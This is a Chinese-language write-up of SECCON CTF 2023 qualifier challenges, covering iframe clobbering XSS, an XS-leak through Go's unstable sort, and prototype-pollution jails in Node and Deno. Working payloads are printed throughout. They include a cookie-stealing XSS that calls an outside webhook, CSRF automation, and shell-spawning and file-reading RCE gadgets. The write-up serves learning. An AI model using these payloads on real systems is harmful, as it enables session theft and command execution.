SECCON CTF 2023 Quals Writeups

這次在 ${cYsTiCk} 解了幾題 web/misc 題目,最後拿到第二名。因為有幾題真的蠻好玩的所以寫個 writeup。

web

核心在這個函數:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const createBlink = async (html) => {
const sandbox = wrap(
$("#viewer").appendChild(document.createElement("iframe"))
);

// I believe it is impossible to escape this iframe sandbox...
sandbox.sandbox = sandboxAttribute;

sandbox.width = "100%";
sandbox.srcdoc = html;
await new Promise((resolve) => (sandbox.onload = resolve));

const target = wrap(sandbox.contentDocument.body);
target.popover = "manual";
const id = setInterval(target.togglePopover, 400);

return () => {
clearInterval(id);
sandbox.remove();
};
};

其中 html 可控,而 sandbox 那邊不能執行 script

我的想法很簡單,就是想辦法 clobber sandbox.contentDocument.body.togglePopover 為字串,然後 setInterval 在吃字串的話就和 eval 一樣了。

我是用 iframe + name 弄掉 body,然後 srcdoca 控字串就過了:

1
<iframe name=body srcdoc="  <a id=togglePopover href='cid:eval(frames[0].js.textContent)'>"></iframe><div id=js>(new Image).src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901?'+document.cookie</div>

最後的 url 像這樣:

1
http://blink.seccon.games:3000/#%3Ciframe%20name=body%20srcdoc=%22%20%20%3Ca%20id=togglePopover%20href='cid:eval(frames[0].js.textContent)'%3E%22%3E%3C/iframe%3E%3Cdiv%20id=js%3E(new%20Image).src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901?'+document.cookie%3C/div%3E

Flag: SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}

hidden-note

用 go 寫的 xsleaks 題目,除了新增和搜尋 note 以外還有個特殊的 share 功能。

share 功能就是把你的搜尋結果用同個 template render 成 html 後存成靜態 html 而已。不過它一般的搜尋是用 gin 的 c.HTML,而 share 的時候用了 text/template,所以可以 html injection。

這邊之所以沒有 xss 是因為它 html 裡面有:

1
<meta http-equiv="Content-Security-Policy" content="script-src 'none'; style-src https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css">

查一下可知用 <img referrerPolicy='unsafe-url' src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901'> 可以 leak referrer,所以只要 csrf create note 去 inject img tag,然後讓 bot share 之後我們就能在找到的 referrer url 裡面看到 flag 了...?

可惜實際上沒那麼簡單,因為 share 實際上會幫你 filter 掉 SECCON{.*} 形式的 note,所以裡面不會有 flag。完全體長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
router.GET("/share", func(c *gin.Context) {
user := c.MustGet("user").(*User)
notes, err := user.getNotes(user.Query)
if err != nil {
c.String(500, "Failed to read notes")
return
}

// Hide your secret notes 🤫
notes = lo.Filter(notes, func(note Note, _ int) bool {
return !secretPattern.MatchString(note.Content)
})

fileName := getRandomHex(12) + ".html"
file, err := os.OpenFile(fmt.Sprintf("shared/%s", fileName), os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
c.Status(500)
return
}
if err := indexTmpl.Execute(file, gin.H{
"user": user,
"notes": notes,
"shared": true,
}); err != nil {
c.Status(500)
return
}
c.Redirect(302, fmt.Sprintf("/shared/%s", fileName))
})

怎麼辦? 我想了很久後才在它 getNotes 中發現到關鍵:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func (user *User) getNotes(query string) ([]Note, error) {
files, err := os.ReadDir(fmt.Sprintf("notes/%s", user.ID))
if err != nil {
return nil, err
}
notes := make([]Note, 0, len(files))
for _, file := range files {
content, err := os.ReadFile(fmt.Sprintf("notes/%s/%s", user.ID, file.Name()))
if err != nil {
return nil, err
}
notes = append(notes, Note{
ID: file.Name(),
Content: string(content),
})
}
notes = lo.Filter(notes, func(note Note, _ int) bool {
return strings.Contains(note.Content, query)
})
sort.Slice(notes, func(i, j int) bool {
return notes[i].Content < notes[j].Content
})
return notes, nil
}

這邊可以知道它做的流程是 readdir -> [(id, content)] -> filter by content -> sort by content,然後最後才 filter flags。這邊有一大關鍵是 sort.Slice 是 unstable 的,這代表的是假設你有兩個 Content 相同但 ID 不同的 Note,在排序後 go 不會保證他們的先後順序保持原樣。

而另外一個關鍵是 os.ReadDir 是會 sort filename 的,也就是 ID。這代表什麼呢?

假設今天一些 note 在 filter 後 sort 前是這樣:

1
2
3
4
5
6
7
8
ID    Content
0001 SECCON{f
0002 SECCON{f
0003 SECCON{f
...
0007 SECCON{flag}
...
0015 SECCON{f

排序之後 0007 理應會跑到最後面,而前面 SECCON{f 的 note 的 ID 順序是亂的。而當我把 SECCON{flag} 拿掉之後用 go 測試,發現它在這個情況下完全不會改變 ID 順序,所以用這個可以判斷有沒有 match flag。

實際上好像因為 go 內部有對 short slice 特殊處裡,所以要有一定數量的 notes 才會展現出這個特性

然而有個問題是我們還是要有 html injection 才能 leak search result url,而 user.Query 因為要拿來搜 flag 所以無法使用,所以裡面勢必要有個 Note 內容為 asdasd <img ...> SECCON{f 才行。但這邊會造成的問題是我們無法判斷分辨這兩個情況下的 ID 會如何變化:

  1. ['SECCON{'] * n + ['asdasd <img ...> SECCON{f']
  2. ['SECCON{'] * n + ['asdasd <img ...> SECCON{f'] + ['SECCON{flag}']

不過我們仔細想想,我們真的不知道它會如何變化嗎? 在最後得到的 HTML 頁面上我們有了許多 note 的 IDContent,而它們在經過第一個 filter 之後的排序因為 os.ReadDir 的緣故我們其實是知道的 (按 ID 排序的)。

先考慮情況 1,假設此時直接拿一樣的 go 版本去按照 Content 排序,那它出來的結果的 ID 順序應該和 html 上面是一樣的。而情況 2 的話因為 SECCON{flag} 的關係,所以它會跑到最後之後被第二個 filter 拿掉,但 ID 順序就對不上了,所以這樣就能判斷有沒有 match flag 了。

實際上實作起來會有個 go 程式負責比較排序的部分:

ss.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package main

import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"sort"
)

type Note struct {
ID string
Content string
}

func Filter[V any](collection []V, predicate func(item V, index int) bool) []V {
result := make([]V, 0, len(collection))

for i, item := range collection {
if predicate(item, i) {
result = append(result, item)
}
}

return result
}

func getRandomHex(n int) string {
bytes := make([]byte, n)
rand.Read(bytes)
return hex.EncodeToString(bytes)
}

func main() {
notes := []Note{}

decoder := json.NewDecoder(os.Stdin)
err := decoder.Decode(&notes)
if err != nil {
panic(err)
}

// for _, note := range notes {
// fmt.Printf("%s %s\n", note.ID, note.Content)
// }

// fmt.Println("=============")

newNotes := make([]Note, len(notes))
copy(newNotes, notes)

sort.Slice(newNotes, func(i, j int) bool {
return newNotes[i].ID < newNotes[j].ID
})

sort.Slice(newNotes, func(i, j int) bool {
return newNotes[i].Content < newNotes[j].Content
})

// for _, note := range newNotes {
// fmt.Printf("%s %s\n", note.ID, note.Content)
// }

fmt.Println(notes[0].ID == newNotes[0].ID)
}

還有一個 flask server 處理一些 interaction:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
from bs4 import BeautifulSoup
import json, sys
from subprocess import check_output
from flask import Flask, request


def check_url(share_url):
# check if a shared note contains the flag before being filtered
html = requests.get(share_url).text
soup = BeautifulSoup(html, "html.parser")
notes = []
for f in soup.select("form"):
id = f.attrs["action"].split("/").pop()
ct = f.select_one("td").text
notes.append({"ID": id, "Content": ct})
out = check_output(["go", "run", "ss.go"], input=json.dumps(notes).encode())
return out.decode().strip() == "true", soup.select_one("strong").text


def sanity_check():
assert check_url(
"http://hidden-note.seccon.games:3000/shared/18336c499ca1c79f257e3751.html"
)[0]
assert not check_url(
"http://hidden-note.seccon.games:3000/shared/358801da7725d393aec082fc.html"
)[0]


app = Flask(__name__, static_folder="")


@app.get("/")
def index():
return app.send_static_file("index.html")


@app.get("/report")
def report():
print(request.headers, file=sys.stderr, flush=True)
url = request.headers["referer"].replace(
"web:3000", "hidden-note.seccon.games:3000"
)
print(url, file=sys.stderr, flush=True)
res, checking = check_url(url)
print((res, checking), file=sys.stderr, flush=True)
if not res:
print("!" * 40, file=sys.stderr, flush=True)
print(checking, file=sys.stderr, flush=True)
return ""


app.run(port=7777, debug=True)

然後最後是 index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<script>
const base = `${location.protocol}//${location.host}`
const report = new URL('/report', base)
const params = new URLSearchParams(location.search)
// const target = 'http://hidden-note.seccon.games:3000/'
// const target = 'http://web:3000/'
const target = params.get('target') || 'http://hidden-note.seccon.games:3000/'
async function createNote(content, timeout = 5000) {
const w = window.open('about:blank')
with (w) {
const form = w.document.createElement('form')
form.method = 'POST'
form.action = new URL('notes/new', target)
const input = w.document.createElement('input')
input.type = 'text'
input.name = 'content'
input.value = content
form.appendChild(input)
w.document.body.appendChild(form)
form.submit()
}
return new Promise(res => {
setTimeout(() => {
w.close()
res()
}, timeout)
})
}
;(async () => {
// local testing
// const w = window.open('http://hidden-note.seccon.games:3000/clear')
// setTimeout(() => {
// w.close()
// }, 1000)

const charset = '_}abcdefghijklmnopqrstuvwxyz0123456789'
// const charset = 'tuvwxyz0123456789'
const prefix = 'SECCON{pdq_1e4k'
for (const c of charset) {
const guess = prefix + c
await Promise.all(Array.from({ length: 15 }).map(() => createNote(guess, 2000)))
const ht = `<img referrerPolicy='unsafe-url' src='${report}'>`
await createNote('peko ' + ht + ' ' + guess, 500)
window.open(new URL('/share?query=' + encodeURIComponent(guess), target))
}
// SECCON{pdq_1e4k}
})()
</script>

我後來才想到我搜尋的時候不該用 SECCON{... 去搜,而是 ECCON{... 比較好,因為 SECCON{...} 會被移除掉 XD

sandbox

node-ppjail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import * as fs from "node:fs";

const CUSTOM_KEY = "__custom__";
const CUSTOM_TYPES = [
"Object",
"String",
"Boolean",
"Array",
"Function",
"RegExp",
];

type Dict = Record<string, unknown>;
type Custom = {
[CUSTOM_KEY]: true;
type: string;
args: unknown[];
};

const isDict = (value: unknown): value is Dict => {
return value === Object(value);
};

const isCustom = (value: unknown): value is Custom => {
return isDict(value) && !!value[CUSTOM_KEY];
};

const set = (target: unknown, key: string, value: unknown) => {
if (!isDict(target)) return;
if (key in target) return;
target[key] = value;
};

const merge = (target: unknown, input: Dict) => {
if (!isDict(target)) return;
for (const key of Object.keys(input)) {
const value = input[key];
if (!isDict(value)) {
set(target, key, value);
} else if (Array.isArray(value)) {
set(target, key, []);
merge(target[key], value);
} else if (!isCustom(value)) {
set(target, key, {});
merge(target[key], value);
} else {
const { type, args } = value;
if (CUSTOM_TYPES.includes(type)) {
try {
set(target, key, new globalThis[type](...args));
} catch {}
}
}
}
};

process.stdout.write("Input your JSON: ");
const inputStr = (() => {
const buf = new Uint8Array(1024);
const n = fs.readSync(fs.openSync("/dev/stdin", "r"), buf);
return new TextDecoder().decode(buf.slice(0, n));
})();

const target: Dict = {
title: "node-ppjail",
category: "sandbox",
};
merge(target, JSON.parse(inputStr));

簡單來說有個很明顯的 prototype pollution (題目名稱也已經告訴你了 XD),而且你還能額外弄一些特殊的 data type,其中包含 Function,目標是 RCE。不過它 PP 的地方因為有個 key in target 的檢查,所以不能蓋掉已經存在的東西,例如 toString 這種都沒辦法用。

總之我一開始想透過把 Object.prototype.__proto__ 換成我自己的 proxy,然後透過 get 去抓到底會有哪些 property 被存取到。然而這部分似乎是因為 ES2017 之後把 Object.prototype 變成 exotic object 了,裡面的 [[prototype]] 是被鎖住的所以我無法修改。(參考此答案)

所以就因為如此我就決定直接 clone node.js 下來,把 v8 那部分 patch 掉之後自己重編。具體來說是把這一段程式碼註解掉就行。

之後我就用了一些像是這樣的方法去紀錄 property access:

1
2
3
4
5
6
7
8
9
10
11
12
let props = ''

Object.prototype.__proto__ = new Proxy(
{ __proto__: null },
{
get: (target, prop, receiver) => {
props += `GET ${prop}` + '\n'
return Reflect.get(target, prop, receiver)
},
__proto__: null
}
)

之所以不直接用 console.log 是因為它裡面的東西也會碰到,然後就 recursion error 了 XD

不過我後來找了一找也沒找到在這個情況下能用了,但後來稍微通靈了一下想說既然 v8 有 Stack Trace API,那麼我如果汙染 Object.prototype.prepareStackTrace 有用嗎? 結果測試一下之後發現只要有個沒有被 catch 住的 exception 那就能觸發,所以這題就簡單了。

然而這邊會遇到的另一個問題是怎麼觸發 error。看了一下上面那邊可知 CUSTOM_TYPES 那邊都被 try catch 了,所以只能透過其他地方觸發。我第一個想到的作法是透過很深的 array 讓它 recursion error,然而這題要求輸入字串長度只能 1024 所以沒辦法。

後來想了想想到說 strict mode 的 function 是不能存取 callerarguments 的,所以就想辦法讓它存取就過了。

1
{"__proto__":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["'use strict';return process.binding('spawn_sync').spawn({'file':'/bin/sh','args':['sh','-c','cat /flag* > /dev/pts/0'],stdio: [{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}]}).output[1]"]}},"a":{"prepareStackTrace":{"caller":{}}}}

這邊是透過讓我定義的那個 function 變為 strict mode,然後再存取它的 caller 搞定的。後來想了想其實還有個比較簡單的做法是直接 Object.caller 也可以,所以就有這個:

1
{"__proto__":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["return process.binding('spawn_sync').spawn({'file':'/bin/sh','args':['sh','-c','cat /flag* > /dev/pts/0'],stdio: [{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}]}).output[1]"]},"constructor":{"caller":{}}}}

Flag: SECCON{Deno_i5_an_anagr4m_0f_Node}

另外是 @parrot409 的 payload:

1
{"constructor":{"prototype":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["console.log(process.mainModule.require(`fs`).readFileSync(`/flag-c4edc8d813ccfa253d090fa595a4cd91.txt`).toString())"]},"1":{"__custom__":true,"type":"Function","args":["2"]}}}}

prepareStackTrace 的部分類似,不過把 1 蓋成 Function('2') 我就不太清楚是哪裡了,不過那確實能觸發 error。

deno-ppjail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const CUSTOM_KEY = "__custom__";
const CUSTOM_TYPES = [
"Object",
"String",
"Boolean",
"Array",
"Function",
"RegExp",
];

type Dict = Record<string, unknown>;
type Custom = {
[CUSTOM_KEY]: true;
type: string;
args: unknown[];
};

const isDict = (value: unknown): value is Dict => {
return value === Object(value);
};

const isCustom = (value: unknown): value is Custom => {
return isDict(value) && !!value[CUSTOM_KEY];
};

const set = (target: unknown, key: string, value: unknown) => {
if (!isDict(target)) return;
if (key in target) return;
target[key] = value;
};

const merge = (target: unknown, input: Dict) => {
if (!isDict(target)) return;
for (const key of Object.keys(input)) {
const value = input[key];
if (!isDict(value)) {
set(target, key, value);
} else if (Array.isArray(value)) {
set(target, key, []);
merge(target[key], value);
} else if (!isCustom(value)) {
set(target, key, {});
merge(target[key], value);
} else {
const { type, args } = value;
if (CUSTOM_TYPES.includes(type)) {
try {
set(target, key, new globalThis[type](...args));
} catch {}
}
}
}
};

const inputStr = prompt("Input your JSON:") ?? "";

const target: Dict = {
title: "deno-ppjail",
category: "sandbox",
};
merge(target, JSON.parse(inputStr));

除了讀輸入的地方以外和前面一樣。

我也有想過 patch deno v8 來修改 Object.prototype.__proto__,但是我沒成功 ==

總之既然改不了 Object.prototype.__proto__,不訪改改看其他物件的如 Function, Array, Error:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const proxy = new Proxy(
{},
{
get: (target, prop, receiver) => {
console.log('get', prop)
return Reflect.get(target, prop, receiver)
}
}
)

Object.setPrototypeOf(Function.prototype, proxy)
Object.setPrototypeOf(Array.prototype, proxy)
Object.setPrototypeOf(Error.prototype, proxy)
Object.setPrototypeOf(String.prototype, proxy)
Object.setPrototypeOf(Number.prototype, proxy)

然後在我觸發 error 之後發現它會讀 cause,測試後發現 Object.prototype.cause (實際上是 error.cause) 的物件會被 console.log (or console.error) 出來。

然後我去讀了一下 console 後發現它有個 circular.get這邊會被呼叫到,所以這樣就串起來了。error 部分我這次是改用 recursion error 觸發,因為沒有長度限制。

1
2
3
4
5
6
json = """{"constructor":{"prototype":{"cause":{"x":1},"circular":{"get": {"__custom__":true,"type":"Function","args":["for(const f of Deno.readDirSync('/'))if(f.name.includes('flag'))console.log(Deno.readTextFileSync('/'+f.name))"]} }}},"a":%s}"""
depth = 5000
arr = "[" * depth + "]" * depth
payload = json % arr
print(payload)
# SECCON{ECMAScr1pt_has_g4dgets_of_prototype_po11ution!!!}

另外是 @parrot409 也給了一個不同的解法:

1
'{"constructor":{"prototype":{"nodeProcessUnhandledRejectionCallback":{"__custom__":true,"type":"Function","args":["console.log(Array.from(Deno.readDirSync(`/`)));"]}}},"A":'+'['.repeat(10000)+']'.repeat(10000)+'}';

看起來是某種 node.js compat 的地方觸發的,而 error 的方法和我一樣是 recursion error。

最後是題目作者 @Ark 的神奇作法: twitter

下面是簡化 ver

1
2
3
4
Object.prototype.return = () => console.log(123)
for (const x of [1]) {
break // this is important
}

and

1
2
Object.prototype.return = () => console.log(123)
const [x] = [1]

看到這個我也很好奇是為什麼,所以自己去讀了一下 spec 找到了關鍵: 7.4.8 IteratorClose

簡單來說 javascript 的 iterator protocol 可以定義一個 return(value) 的 function,用意是讓呼叫 iterator 的人告訴 iterator 之後不會再呼叫 next 了,所以 iterator 可以做一些清理的動作。(MDN)

而 for..of 和 destructing 的時候內部都會呼叫 iterator (即 it = obj[Symbol.iterator]()),然後預設的 iterator 物件是沒有 return 的,所以只要 pollute 就能呼叫到了。

而上面那兩個範例是因為 break 代表提早結束,所以自然會進入 IteratorClose。而 destructing 則是因為 destruct 的時候不知道右邊的 iterator 長度是多少,預設都要 IteratorClose,只有 let [x, ...y] = [1] (用 rest opearator 或是 destruct 的數量超過右側) 才不會觸發。

crypto

plai_n_rsa

RSA 給了 但沒有 ,要想辦法解密 flag。

我的作法是利用 不大的性質直接爆小的 當作 ,那麼 就可以解出來了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from tqdm import trange
e = 65537
d = 15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint = 275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c = 8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813

for k in trange(1, e):
phi = (e * d - 1) // k
n = phi + hint - 1
m = pow(c, d, n)
flag = int(m).to_bytes(512, "big").strip(b"\x00")
if flag.startswith(b"SECCON{"):
print(flag)
break
# SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}